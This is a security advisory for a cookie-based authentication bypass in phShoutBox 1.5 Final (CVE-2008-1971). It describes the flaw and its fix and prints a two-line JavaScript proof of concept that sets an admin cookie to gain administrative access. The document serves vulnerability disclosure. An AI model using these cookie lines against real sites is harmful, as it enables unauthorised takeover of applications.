phShoutBox Cookie Security Bypass Vulnerability

Bugtraq ID:	28856
Class:	Access Validation Error
CVE:	CVE-2008-1971
Remote:	Yes
Local:	No
Published:	Apr 18 2008 12:00AM
Updated:	May 07 2015 05:29PM
Credit:	t0pP8uZz
Vulnerable:	phphq.Net phShoutBox 1.5 Final
Not Vulnerable:	phphq.Net phShoutBox 1.5.1 Final

phShoutBox Cookie Security Bypass Vulnerability

phShoutBox is prone to a security-bypass vulnerability because it fails to properly validate user credentials before performing certain actions.

Exploiting this issue may allow an attacker to bypass certain security restrictions and gain administrative access to the application. This will compromise the application and may aid in further attacks.

Versions prior to phShoutBox 1.5.1 Final are vulnerable.

phShoutBox Cookie Security Bypass Vulnerability

The following proof-of-concept JavaScript code to create a cookie is available:

version 1.5: javascript:document.cookie = "phadmin=True; path=/;";
version < 1.4: javascript:document.cookie = "ssbadmin=True; path=/;";

phShoutBox Cookie Security Bypass Vulnerability

Solution:
Updates are available; please see the references for more information.

phShoutBox Cookie Security Bypass Vulnerability

References:

• phphq.Net Homepage (phphq.Net)
  
• phShoutBox Homepage (phphq.Net)